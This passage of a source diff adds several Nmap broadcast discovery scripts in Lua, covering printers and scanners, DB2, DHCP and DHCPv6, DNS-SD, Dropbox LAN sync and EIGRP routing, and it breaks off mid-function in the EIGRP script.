+ local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } )
+ if ( not(helper:connect()) ) then
+ condvar "signal"
+ return
+ end
+ local status, printers = helper:discoverPrinter()
+ helper:close()
+ if ( status ) then
+ devices["printers"] = identifyPrinters(printers)
+ end
+ condvar "signal"
+end
+
+local function getScanners(devices)
+ local condvar = nmap.condvar(devices)
+ local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } )
+ if ( not(helper:connect()) ) then
+ condvar "signal"
+ return
+ end
+ local status, scanners = helper:discoverScanner()
+ helper:close()
+ if ( status ) then
+ devices["scanners"] = identifyScanners(scanners)
+ end
+ condvar "signal"
+end
+
+
+action = function()
+ arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000)
+ local devices, result, threads = {}, {}, {}
+ local condvar = nmap.condvar(devices)
+
+ local co = stdnse.new_thread(getPrinters, devices)
+ threads[co] = true
+
+ co = stdnse.new_thread(getScanners, devices)
+ threads[co] = true
+
+ while(next(threads)) do
+ for t in pairs(threads) do
+ threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ end
+
+ for ip in getKeys(devices) do
+ local result_part = {}
+ local printer = ( devices["printers"] and devices["printers"][ip] )
+ local scanner = ( devices["scanners"] and devices["scanners"][ip] )
+
+ if ( printer ) then
+ printer.name = "Printer"
+ table.insert(result_part, printer)
+ end
+ if ( scanner ) then
+ scanner.name = "Scanner"
+ table.insert(result_part, scanner)
+ end
+ if ( #result_part > 0 ) then
+ result_part.name = ip
+ table.insert(result, result_part)
+ end
+ end
+
+ if ( result ) then
+ return stdnse.format_output(true, result)
+ end
+end
diff --git a/scripts/broadcast-db2-discover.nse b/scripts/broadcast-db2-discover.nse
new file mode 100644
index 0000000..6f1def9
--- /dev/null
+++ b/scripts/broadcast-db2-discover.nse
@@ -0,0 +1,86 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Attempts to discover DB2 servers on the network by sending a broadcast request to port 523/udp.
+]]
+
+---
+-- @usage
+-- nmap --script db2-discover
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-db2-discover:
+-- | 10.0.200.132 (UBU804-DB2E) - IBM DB2 v9.07.0
+-- |_ 10.0.200.119 (EDUSRV011) - IBM DB2 v9.07.0
+
+-- Version 0.1
+-- Created 07/10/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+--- Converts the prodrel server string to a version string
+--
+-- @param server_version string containing the product release
+-- @return ver string containing the version information
+local function parseVersion( server_version )
+ local pfx = string.sub(server_version,1,3)
+
+ if pfx == "SQL" then
+ local major_version = string.sub(server_version,4,5)
+
+ -- strip the leading 0 from the major version, for consistency with
+ -- nmap-service-probes results
+ if string.sub(major_version,1,1) == "0" then
+ major_version = string.sub(major_version,2)
+ end
+ local minor_version = string.sub(server_version,6,7)
+ local hotfix = string.sub(server_version,8)
+ server_version = major_version .. "." .. minor_version .. "." .. hotfix
+ else
+ return "Unknown version"
+ end
+
+ return ("IBM DB2 v%s"):format(server_version)
+end
+
+action = function()
+
+ local DB2GETADDR = "DB2GETADDR\0SQL09010\0"
+ local socket = nmap.new_socket("udp")
+ local result = {}
+ local host, port = "255.255.255.255", 523
+
+ socket:set_timeout(5000)
+ local status = socket:sendto( host, port, DB2GETADDR )
+ if ( not(status) ) then return end
+
+ while(true) do
+ local data
+ status, data = socket:receive()
+ if( not(status) ) then break end
+
+ local version, srvname = data:match("DB2RETADDR.(SQL%d+).(.-)\0")
+ local _, ip
+ status, _, _, ip, _ = socket:get_info()
+ if ( not(status) ) then return end
+
+ if target.ALLOW_NEW_TARGETS then target.add(ip) end
+
+ if ( status ) then
+ table.insert( result, ("%s - Host: %s; Version: %s"):format(ip, srvname, parseVersion( version ) ) )
+ end
+ end
+ socket:close()
+
+ return stdnse.format_output( true, result )
+end
diff --git a/scripts/broadcast-dhcp-discover.nse b/scripts/broadcast-dhcp-discover.nse
new file mode 100644
index 0000000..c2f8a9c
--- /dev/null
+++ b/scripts/broadcast-dhcp-discover.nse
@@ -0,0 +1,311 @@
+local coroutine = require "coroutine"
+local dhcp = require "dhcp"
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local outlib = require "outlib"
+local packet = require "packet"
+local rand = require "rand"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Sends a DHCP request to the broadcast address (255.255.255.255) and reports
+the results. By default, the script uses a static MAC address
+(DE:AD:CO:DE:CA:FE) in order to prevent IP pool exhaustion.
+
+The script reads the response using pcap by opening a listening pcap socket
+on all available ethernet interfaces that are reported up. If no response
+has been received before the timeout has been reached (default 10 seconds)
+the script will abort execution.
+
+The script needs to be run as a privileged user, typically root.
+]]
+
+---
+-- @see broadcast-dhcp6-discover.nse
+-- @see dhcp-discover.nse
+--
+-- @usage
+-- sudo nmap --script broadcast-dhcp-discover
+--
+-- @output
+-- | broadcast-dhcp-discover:
+-- | Response 1 of 1:
+-- | Interface: wlp1s0
+-- | IP Offered: 192.168.1.114
+-- | DHCP Message Type: DHCPOFFER
+-- | Server Identifier: 192.168.1.1
+-- | IP Address Lease Time: 1 day, 0:00:00
+-- | Subnet Mask: 255.255.255.0
+-- | Router: 192.168.1.1
+-- | Domain Name Server: 192.168.1.1
+-- |_ Domain Name: localdomain
+--
+-- @xmloutput
+-- <table key="Response 1 of 1:">
+-- <elem key="Interface">wlp1s0</elem>
+-- <elem key="IP Offered">192.168.1.114</elem>
+-- <elem key="DHCP Message Type">DHCPOFFER</elem>
+-- <elem key="Server Identifier">192.168.1.1</elem>
+-- <elem key="IP Address Lease Time">1 day, 0:00:00</elem>
+-- <elem key="Subnet Mask">255.255.255.0</elem>
+-- <elem key="Router">192.168.1.1</elem>
+-- <elem key="Domain Name Server">192.168.1.1</elem>
+-- <elem key="Domain Name">localdomain</elem>
+-- </table>
+--
+-- @args broadcast-dhcp-discover.mac Set to <code>random</code> or a specific
+-- client MAC address in the DHCP request. "DE:AD:C0:DE:CA:FE"
+-- is used by default. Setting it to <code>random</code> will
+-- possibly cause the DHCP server to reserve a new IP address
+-- each time.
+-- @args broadcast-dhcp-discover.clientid Client identifier to use in DHCP
+-- option 61. The value is a string, while hardware type 0, appropriate
+-- for FQDNs, is assumed. Example: clientid=kurtz is equivalent to
+-- specifying clientid-hex=00:6b:75:72:74:7a (see below).
+-- @args broadcast-dhcp-discover.clientid-hex Client identifier to use in DHCP
+-- option 61. The value is a hexadecimal string, where the first octet
+-- is the hardware type.
+-- @args broadcast-dhcp-discover.timeout time in seconds to wait for a response
+-- (default: 10s)
+--
+
+-- Created 04/22/2022 - v0.3 - updated by nnposter
+-- o Implemented script arguments "clientid" and "clientid-hex" to allow
+-- passing a specific client identifier (option 61)
+--
+-- Created 01/14/2020 - v0.2 - updated by nnposter
+-- o Implemented script argument "mac" to force a specific MAC address
+--
+-- Created 07/14/2011 - v0.1 - created by Patrik Karlsson
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+
+prerule = function()
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+
+ if nmap.address_family() ~= 'inet' then
+ stdnse.debug1("is IPv4 compatible only.")
+ return false
+ end
+ return true
+end
+
+-- Gets a list of available interfaces based on link and up filters
+--
+-- @param link string containing the link type to filter
+-- @param up string containing the interface status to filter
+-- @return result table containing the matching interfaces
+local function getInterfaces(link, up)
+ if( not(nmap.list_interfaces) ) then return end
+ local interfaces, err = nmap.list_interfaces()
+ local result
+ if ( not(err) ) then
+ for _, iface in ipairs(interfaces) do
+ if ( iface.link == link and iface.up == up ) then
+ result = result or {}
+ result[iface.device] = true
+ end
+ end
+ end
+ return result
+end
+
+-- Listens for an incoming dhcp response
+--
+-- @param iface string with the name of the interface to listen to
+-- @param macaddr client hardware address
+-- @param options DHCP options to include in the request
+-- @param timeout number of ms to wait for a response
+-- @param xid the DHCP transaction id
+-- @param result a table to which the result is written
+local function dhcp_listener(sock, iface, macaddr, options, timeout, xid, result)
+ local condvar = nmap.condvar(result)
+ local srcip = ipOps.ip_to_str("0.0.0.0")
+ local dstip = ipOps.ip_to_str("255.255.255.255")
+
+ -- Build DHCP request
+ local status, pkt = dhcp.dhcp_build(
+ dhcp.request_types.DHCPDISCOVER,
+ srcip,
+ macaddr,
+ options,
+ nil, -- request options
+ {flags=0x8000}, -- override: broadcast
+ nil, -- lease time
+ xid)
+ if not status then
+ stdnse.debug1("Failed to build packet for %s: %s", iface, pkt)
+ condvar "signal"
+ return
+ end
+
+ -- Add UDP header
+ local udplen = #pkt + 8
+ local tmp = string.pack(">c4c4 xBI2 I2I2I2xx",
+ srcip, dstip,
+ packet.IPPROTO_UDP, udplen,
+ 68, 67, udplen) .. pkt
+ pkt = string.pack(">I2 I2 I2 I2", 68, 67, udplen, packet.in_cksum(tmp)) .. pkt
+
+ -- Create a frame and add the IP header
+ local frame = packet.Frame:new()
+ frame:build_ip_packet(srcip, dstip, pkt, nil, --dsf
+ string.unpack(">I2", xid, 3), -- IPID, use 16 lsb of xid
+ nil, nil, nil, -- flags, offset, ttl
+ packet.IPPROTO_UDP)
+
+ -- Add the Ethernet header
+ frame:build_ether_frame(
+ "\xff\xff\xff\xff\xff\xff",
+ nmap.get_interface_info(iface).mac, -- can't use macaddr or we won't see response
+ packet.ETHER_TYPE_IPV4)
+
+ local dnet = nmap.new_dnet()
+ dnet:ethernet_open(iface)
+ local status, err = dnet:ethernet_send(frame.frame_buf)
+ dnet:ethernet_close()
+ if not status then
+ stdnse.debug1("Failed to send frame for %s: %s", iface, err)
+ condvar "signal"
+ return
+ end
+
+ local start_time = nmap.clock_ms()
+ local now = start_time
+ while( now - start_time < timeout ) do
+ sock:set_timeout(timeout - (now - start_time))
+ local status, _, _, data = sock:pcap_receive()
+
+ if ( status ) then
+ local p = packet.Packet:new( data, #data )
+ if ( p and p.udp_dport ) then
+ local data = data:sub(p.udp_offset + 9)
+ local status, response = dhcp.dhcp_parse(data, xid)
+ if ( status ) then
+ response.iface = iface
+ table.insert( result, response )
+ end
+ end
+ end
+ now = nmap.clock_ms()
+ end
+ sock:close()
+ condvar "signal"
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function()
+
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-dhcp-discover.timeout"))
+ timeout = (timeout or 10) * 1000
+
+ local options = {}
+
+ local macaddr = (stdnse.get_script_args(SCRIPT_NAME .. ".mac") or "DE:AD:C0:DE:CA:FE"):lower()
+ if macaddr:find("^ra?nd") then
+ macaddr = rand.random_string(6)
+ else
+ macaddr = macaddr:gsub(":", "")
+ if not (#macaddr == 12 and macaddr:find("^%x+$")) then
+ return stdnse.format_output(false, "Invalid MAC address")
+ end
+ macaddr = stdnse.fromhex(macaddr)
+ end
+
+ local clientid = stdnse.get_script_args(SCRIPT_NAME .. ".clientid")
+ if clientid then
+ clientid = "\x00" .. clientid -- hardware type 0 presumed
+ else
+ clientid = stdnse.get_script_args(SCRIPT_NAME .. ".clientid-hex")
+ if clientid then
+ clientid = clientid:gsub(":", "")
+ if not clientid:find("^%x+$") then
+ return stdnse.format_output(false, "Invalid hexadecimal client ID")
+ end
+ clientid = stdnse.fromhex(clientid)
+ end
+ end
+ if clientid then
+ if #clientid == 0 or #clientid > 255 then
+ return stdnse.format_output(false, "Client ID must be between 1 and 255 characters long")
+ end
+ table.insert(options, {number = 61, type = "string", value = clientid })
+ end
+
+ local interfaces
+
+ -- first check if the user supplied an interface
+ if ( nmap.get_interface() ) then
+ interfaces = { [nmap.get_interface()] = true }
+ else
+ -- As the response will be sent to the "offered" ip address we need
+ -- to use pcap to pick it up. However, we don't know what interface
+ -- our packet went out on, so lets get a list of all interfaces and
+ -- run pcap on all of them, if they're a) up and b) ethernet.
+ interfaces = getInterfaces("ethernet", "up")
+ end
+
+ if( not(interfaces) ) then return fail("Failed to retrieve interfaces (try setting one explicitly using -e)") end
+
+ local transaction_id = math.random(0, 0x7F000000)
+
+ local threads = {}
+ local result = {}
+ local condvar = nmap.condvar(result)
+
+ -- start a listening thread for each interface
+ for iface, _ in pairs(interfaces) do
+ transaction_id = transaction_id + 1
+ local xid = string.pack(">I4", transaction_id)
+
+ local sock, co
+ sock = nmap.new_socket()
+ sock:pcap_open(iface, 1500, true, "ip && udp dst port 68")
+ co = stdnse.new_thread( dhcp_listener, sock, iface, macaddr, options, timeout, xid, result )
+ threads[co] = true
+ end
+
+ -- wait until all threads are done
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ if not next(result) then
+ return nil
+ end
+
+ local response = stdnse.output_table()
+ -- Display the results
+ for i, r in ipairs(result) do
+ local result_table = stdnse.output_table()
+
+ result_table["Interface"] = r.iface
+ result_table["IP Offered"] = r.yiaddr_str
+ for _, v in ipairs(r.options) do
+ if(type(v.value) == 'table') then
+ outlib.list_sep(v.value)
+ end
+ result_table[ v.name ] = v.value
+ end
+
+ response[string.format("Response %d of %d", i, #result)] = result_table
+ end
+
+ return response
+end
diff --git a/scripts/broadcast-dhcp6-discover.nse b/scripts/broadcast-dhcp6-discover.nse
new file mode 100644
index 0000000..71b381f
--- /dev/null
+++ b/scripts/broadcast-dhcp6-discover.nse
@@ -0,0 +1,121 @@
+local coroutine = require "coroutine"
+local dhcp6 = require "dhcp6"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Sends a DHCPv6 request (Solicit) to the DHCPv6 multicast address,
+parses the response, then extracts and prints the address along with
+any options returned by the server.
+
+The script requires Nmap to be run in privileged mode as it binds the socket
+to a privileged port (udp/546).
+]]
+
+---
+-- @see broadcast-dhcp-discover.nse
+-- @see dhcp-discover.nse
+--
+-- @usage
+-- nmap -6 --script broadcast-dhcp6-discover
+--
+-- @output
+-- | broadcast-dhcp6-discover:
+-- | Interface: en0
+-- | Message type: Advertise
+-- | Transaction id: 74401
+-- | Options
+-- | Client identifier: MAC: 68:AB:CD:EF:AB:CD; Time: 2012-01-24 20:36:48
+-- | Server identifier: MAC: 08:FE:DC:BA:98:76; Time: 2012-01-20 11:44:58
+-- | Non-temporary Address: 2001:db8:1:2:0:0:0:1000
+-- | DNS Servers: 2001:db8:0:0:0:0:0:35
+-- | Domain Search: example.com, sub.example.com
+-- |_ NTP Servers: 2001:db8:1111:0:0:0:0:123, 2001:db8:1111:0:0:0:0:124
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function()
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+
+ if nmap.address_family() ~= 'inet6' then
+ stdnse.debug1("is IPv6 compatible only.")
+ return false
+ end
+ return true
+end
+
+-- Gets a list of available interfaces based on link and up filters
+--
+-- @param link string containing the link type to filter
+-- @param up string containing the interface status to filter
+-- @return result table containing the matching interfaces
+local function getInterfaces(link, up)
+ if( not(nmap.list_interfaces) ) then return end
+ local interfaces, err = nmap.list_interfaces()
+ local result
+ if ( not(err) ) then
+ for _, iface in ipairs(interfaces) do
+ if ( iface.link == link and iface.up == up ) then
+ result = result or {}
+ result[iface.device] = true
+ end
+ end
+ end
+ return result
+end
+
+local function solicit(iface, result)
+ local condvar = nmap.condvar(result)
+ local helper = dhcp6.Helper:new(iface)
+ if ( not(helper) ) then
+ condvar "signal"
+ return
+ end
+
+ local status, response = helper:solicit()
+ if ( status ) then
+ response.name=("Interface: %s"):format(iface)
+ table.insert(result, response )
+ end
+ condvar "signal"
+end
+
+action = function(host, port)
+
+ local iface = nmap.get_interface()
+ local ifs, result, threads = {}, {}, {}
+ local condvar = nmap.condvar(result)
+
+ if ( iface ) then
+ ifs[iface] = true
+ else
+ ifs = getInterfaces("ethernet", "up")
+ end
+
+ for iface in pairs(ifs) do
+ local co = stdnse.new_thread( solicit, iface, result )
+ threads[co] = true
+ end
+
+ -- wait until the probes are all done
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then
+ threads[thread] = nil
+ end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/broadcast-dns-service-discovery.nse b/scripts/broadcast-dns-service-discovery.nse
new file mode 100644
index 0000000..fca0dc6
--- /dev/null
+++ b/scripts/broadcast-dns-service-discovery.nse
@@ -0,0 +1,57 @@
+local dnssd = require "dnssd"
+local stdnse = require "stdnse"
+
+description=[[
+Attempts to discover hosts' services using the DNS Service Discovery protocol. It sends a multicast DNS-SD query and collects all the responses.
+
+The script first sends a query for _services._dns-sd._udp.local to get a
+list of services. It then sends a followup query for each one to try to
+get more information.
+]]
+
+
+---
+-- @usage
+-- nmap --script=broadcast-dns-service-discovery
+--
+-- @output
+-- | broadcast-dns-service-discovery:
+-- | 1.2.3.1
+-- | _ssh._tcp.local
+-- | _http._tcp.local
+-- | 1.2.3.50
+-- | 22/tcp ssh
+-- | org.freedesktop.Avahi.cookie=2292090182
+-- | Address=1.2.3.50
+-- | 80/tcp http
+-- | path=/admin
+-- | org.freedesktop.Avahi.cookie=2292090182
+-- | path=/
+-- | org.freedesktop.Avahi.cookie=2292090182
+-- | path=/pim
+-- | org.freedesktop.Avahi.cookie=2292090182
+-- | Address=1.2.3.50
+-- | 1.2.3.116
+-- | 80/tcp http
+-- |_ Address=1.2.3.116
+
+
+-- Version 0.1
+-- Created 10/29/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+action = function()
+ local helper = dnssd.Helper:new( )
+ helper:setMulticast(true)
+
+ local status, result = helper:queryServices()
+ if ( status ) then
+ return stdnse.format_output(true, result)
+ end
+end
diff --git a/scripts/broadcast-dropbox-listener.nse b/scripts/broadcast-dropbox-listener.nse
new file mode 100644
index 0000000..9144539
--- /dev/null
+++ b/scripts/broadcast-dropbox-listener.nse
@@ -0,0 +1,140 @@
+local json = require "json"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local target = require "target"
+local table = require "table"
+
+description = [[
+Listens for the LAN sync information broadcasts that the Dropbox.com client
+broadcasts every 20 seconds, then prints all the discovered client IP
+addresses, port numbers, version numbers, display names, and more.
+
+If the <code>newtargets</code> script argument is given, all discovered Dropbox
+clients will be added to the Nmap target list rather than just listed in the
+output.
+]]
+
+---
+-- @usage
+-- nmap --script=broadcast-dropbox-listener
+-- nmap --script=broadcast-dropbox-listener --script-args=newtargets -Pn
+-- @output
+-- Pre-scan script results:
+-- | broadcast-dropbox-listener:
+-- | displayname ip port version host_int namespaces
+-- |_noob 192.168.0.110 17500 1.8 34176083 26135075
+--
+-- Pre-scan script results:
+-- | broadcast-dropbox-listener:
+-- | displayname ip port version host_int namespaces
+-- |_noob 192.168.0.110 17500 1.8 34176083 26135075
+-- Nmap scan report for 192.168.0.110
+-- Host is up (0.00073s latency).
+-- Not shown: 997 filtered ports
+-- PORT STATE SERVICE
+-- 139/tcp open netbios-ssn
+-- 445/tcp open microsoft-ds
+-- 1047/tcp open neod1
+
+author = {"Ron Bowes", "Mak Kolybabi", "Andrew Orr", "Russ Tait Milne"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+local DROPBOX_BROADCAST_PERIOD = 20
+local DROPBOX_PORT = 17500
+
+prerule = function()
+ return true
+end
+
+action = function()
+ -- Start listening for broadcasts.
+ local sock = nmap.new_socket("udp")
+ sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000)
+ local status, result = sock:bind(nil, DROPBOX_PORT)
+ if not status then
+ stdnse.debug1("Could not bind on port %d: %s", DROPBOX_PORT, result)
+ sock:close()
+ return
+ end
+
+ -- Keep track of the IDs we've already seen.
+ local ids = {}
+
+ -- Initialize the output table.
+ local results = tab.new(6)
+ tab.addrow(
+ results,
+ 'displayname',
+ 'ip',
+ 'port',
+ 'version',
+ 'host_int',
+ 'namespaces'
+ )
+
+ local status, result = sock:receive()
+ while status do
+ -- Parse JSON.
+ local status, info = json.parse(result)
+ if status then
+ -- Get IP address of broadcasting host.
+ local status, _, _, ip, _ = sock:get_info()
+ if not status then
+ stdnse.debug1("Failed to get socket info.")
+ break
+ end
+ stdnse.debug1("Received broadcast from host %s (%s).", info.displayname, ip)
+
+ -- Check if we've already seen this ID.
+ if ids[info.host_int] then
+ -- We can stop now, since we've seen the same ID twice
+ -- If ever a host sends a broadcast twice in a row, this will
+ -- artificially stop the listener. I can't think of a workaround
+ -- for now, so this will have to do.
+ break
+ end
+ ids[info.host_int] = true
+
+ -- Add host scan list.
+ if target.ALLOW_NEW_TARGETS then
+ target.add(ip)
+ end
+
+ -- Add host to list.
+ for _, key1 in pairs({"namespaces", "version"}) do
+ for key2, val in pairs(info[key1]) do
+ info[key1][key2] = tostring(info[key1][key2])
+ end
+ end
+ tab.addrow(
+ results,
+ info.displayname,
+ ip,
+ info.port,
+ table.concat(info.version, "."),
+ info.host_int,
+ table.concat(info.namespaces, ", ")
+ )
+
+ stdnse.debug1("Added host %s.", info.displayname)
+ end
+
+ status, result = sock:receive()
+ end
+
+ sock:close()
+
+ -- If no broadcasts received, don't output anything.
+ if not next(ids) then
+ return
+ end
+
+ -- Format table, without trailing newline.
+ results = tab.dump(results)
+ results = results:sub(1, #results - 1)
+
+ return "\n" .. results
+end
diff --git a/scripts/broadcast-eigrp-discovery.nse b/scripts/broadcast-eigrp-discovery.nse
new file mode 100644
index 0000000..5b47ab4
--- /dev/null
+++ b/scripts/broadcast-eigrp-discovery.nse
@@ -0,0 +1,340 @@
+local eigrp = require "eigrp"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+local packet = require "packet"
+local ipOps = require "ipOps"
+local target = require "target"
+local coroutine = require "coroutine"
+local string = require "string"
+
+description = [[
+Performs network discovery and routing information gathering through
+Cisco's Enhanced Interior Gateway Routing Protocol (EIGRP).
+
+The script works by sending an EIGRP Hello packet with the specified Autonomous
+System value to the 224.0.0.10 multicast address and listening for EIGRP Update
+packets. The script then parses the update responses for routing information.
+
+If no A.S value was provided by the user, the script will listen for multicast
+Hello packets to grab an A.S value. If no interface was provided as a script
+argument or through the -e option, the script will send packets and listen
+through all valid ethernet interfaces simultaneously.
+
+]]
+
+---
+-- @usage
+-- nmap --script=broadcast-eigrp-discovery <targets>
+-- nmap --script=broadcast-eigrp-discovery <targets> -e wlan0
+--
+-- @args broadcast-eigrp-discovery.as Autonomous System value to announce on.
+-- If not set, the script will listen for announcements on 224.0.0.10 to grab
+-- an A.S value.
+--
+-- @args broadcast-eigrp-discovery.timeout Max amount of time to listen for A.S
+-- announcements and updates. Defaults to <code>10</code> seconds.
+--
+-- @args broadcast-eigrp-discovery.kparams the K metrics.
+-- Defaults to <code>101000</code>.
+-- @args broadcast-eigrp-discovery.interface Interface to send on (overrides -e)
+--
+--@output
+-- Pre-scan script results:
+-- | broadcast-eigrp-discovery:
+-- | 192.168.2.2
+-- | Interface: eth0
+-- | A.S: 1
+-- | Virtual Router ID: 0
+-- | Internal Route
+-- | Destination: 192.168.21.0/24
+-- | Next hop: 0.0.0.0
+-- | Internal Route
+-- | Destination: 192.168.31.0/24
+-- | Next hop: 0.0.0.0
+-- | External Route
+-- | Protocol: Static
+-- | Originating A.S: 0
+-- | Originating Router ID: 192.168.31.1
+-- | Destination: 192.168.60.0/24
+-- | Next hop: 0.0.0.0
+-- | External Route
+-- | Protocol: OSPF
+-- | Originating A.S: 1
+-- | Originating Router ID: 192.168.31.1
+-- | Destination: 192.168.24.0/24
+-- | Next hop: 0.0.0.0
+-- |_ Use the newtargets script-arg to add the results as targets
+--
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "broadcast", "safe"}
+
+prerule = function()
+ if nmap.address_family() ~= 'inet' then
+ stdnse.verbose1("is IPv4 only.")
+ return false
+ end
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+ return true
+end
+
+
+-- Sends EIGRP raw packet to EIGRP multicast address.
+--@param interface Network interface to use.
+--@param eigrp_raw Raw eigrp packet.
+local eigrpSend = function(interface, eigrp_raw)
+ local srcip = interface.address
+ local dstip = "224.0.0.10"
+
+ local ip_raw = stdnse.fromhex( "45c00040ed780000015818bc0a00c8750a00c86b") .. eigrp_raw
+ local eigrp_packet = packet.Packet:new(ip_raw, ip_raw:len())
+ eigrp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
+ eigrp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
+ eigrp_packet:ip_set_len(#eigrp_packet.buf)
+ eigrp_packet:ip_count_checksum()
+
+ local sock = nmap.new_dnet()
+ sock:ethernet_open(interface.device)
+ -- Ethernet IPv4 multicast, our ethernet address and packet type IP
+ local eth_hdr = stdnse.fromhex("01 00 5e 00 00 0a") .. interface.mac .. stdnse.fromhex("08 00")
+ sock:ethernet_send(eth_hdr .. eigrp_packet.buf)
+ sock:ethernet_close()
+end
+
+
+-- Listens for EIGRP updates
+--@param interface Network interface to listen on.
+--@param timeout Ammount of time to listen for.
+--@param responses Table to put valid responses into.
+local eigrpListener = function(interface, timeout, responses)
+ local condvar = nmap.condvar(responses)
+ local routers = {}
+ local status, l3data, response, p, eigrp_raw, _
+ local start = nmap.clock_ms()
+ -- Filter for EIGRP packets that are sent either to us or to multicast
+ local filter = "ip proto 88 and (ip dst host " .. interface.address .. " or 224.0.0.10)"
+ local listener = nmap.new_socket()
+ listener:set_timeout(500)
+ listener:pcap_open(interface.device, 1024, true, filter)
+
+ -- For each EIGRP packet captured until timeout
+ while (nmap.clock_ms() - start) < timeout do
+ response = {}
+ response.tlvs = {}
+ status, _, _, l3data = listener:pcap_receive()
+ if status then
+ p = packet.Packet:new(l3data, #l3data)
+ eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1)
+ -- Check if it is an EIGRPv2 Update
+ if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x01 then
+ -- Skip if did get the info from this router before
+ if not routers[p.ip_src] then
+ -- Parse header
+ response = eigrp.EIGRP.parse(eigrp_raw)
+ response.src = p.ip_src
+ response.interface = interface.shortname
+ end
+ if response then
+ -- See, if it has routing information
+ for _,tlv in pairs(response.tlvs) do
+ if eigrp.EIGRP.isRoutingTLV(tlv.type) then
+ routers[p.ip_src] = true
+ table.insert(responses, response)
+ break
+ end
+ end
+ end
+ end
+ end
+ end
+ condvar("signal")
+ return
+end
+
+-- Listens for EIGRP announcements to grab a valid Autonomous System value.
+--@param interface Network interface to listen on.
+--@param timeout Max amount of time to listen for.
+--@param astab Table to put result into.
+local asListener = function(interface, timeout, astab)
+ local condvar = nmap.condvar(astab)
+ local status, l3data, p, eigrp_raw, eigrp_hello, _
+ local start = nmap.clock_ms()
+ local filter = "ip proto 88 and ip dst host 224.0.0.10"
+ local listener = nmap.new_socket()
+ listener:set_timeout(500)
+ listener:pcap_open(interface.device, 1024, true, filter)
+ while (nmap.clock_ms() - start) < timeout do
+ -- Check if another listener already found an A.S value.
+ if #astab > 0 then break end
+
+ status, _, _, l3data = listener:pcap_receive()
+ if status then
+ p = packet.Packet:new(l3data, #l3data)
+ eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1)
+ -- Listen for EIGRPv2 Hello packets
+ if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x05 then
+ eigrp_hello = eigrp.EIGRP.parse(eigrp_raw)
+ if eigrp_hello and eigrp_hello.as then
+ table.insert(astab, eigrp_hello.as)
+ break
+ end
+ end
+ end
+ end
+ condvar("signal")
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function()
+ -- Get script arguments
+ local as = stdnse.get_script_args(SCRIPT_NAME .. ".as")
+ local kparams = stdnse.get_script_args(SCRIPT_NAME .. ".kparams") or "101000"
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ local output, responses, interfaces, lthreads = {}, {}, {}, {}
+ local result, response, route, eigrp_hello, k
+ local timeout = (timeout or 10) * 1000
+
+ -- K params should be of length 6
+ -- Cisco routers ignore eigrp packets that don't have matching K parameters
+ if #kparams < 6 or #kparams > 6 then
+ return fail("kparams should be of size 6.")
+ else
+ k = {}
+ k[1] = string.sub(kparams, 1,1)
+ k[2] = string.sub(kparams, 2,2)
+ k[3] = string.sub(kparams, 3,3)
+ k[4] = string.sub(kparams, 4,4)
+ k[5] = string.sub(kparams, 5,5)
+ k[6] = string.sub(kparams, 6)
+ end
+
+ interface = interface or nmap.get_interface()
+ if interface then
+ -- If an interface was provided, get its information
+ interface = nmap.get_interface_info(interface)
+ if not interface then
+ return fail(("Failed to retrieve %s interface information."):format(interface))
+ end
+ interfaces = {interface}
+ stdnse.debug1("Will use %s interface.", interface.shortname)
+ else
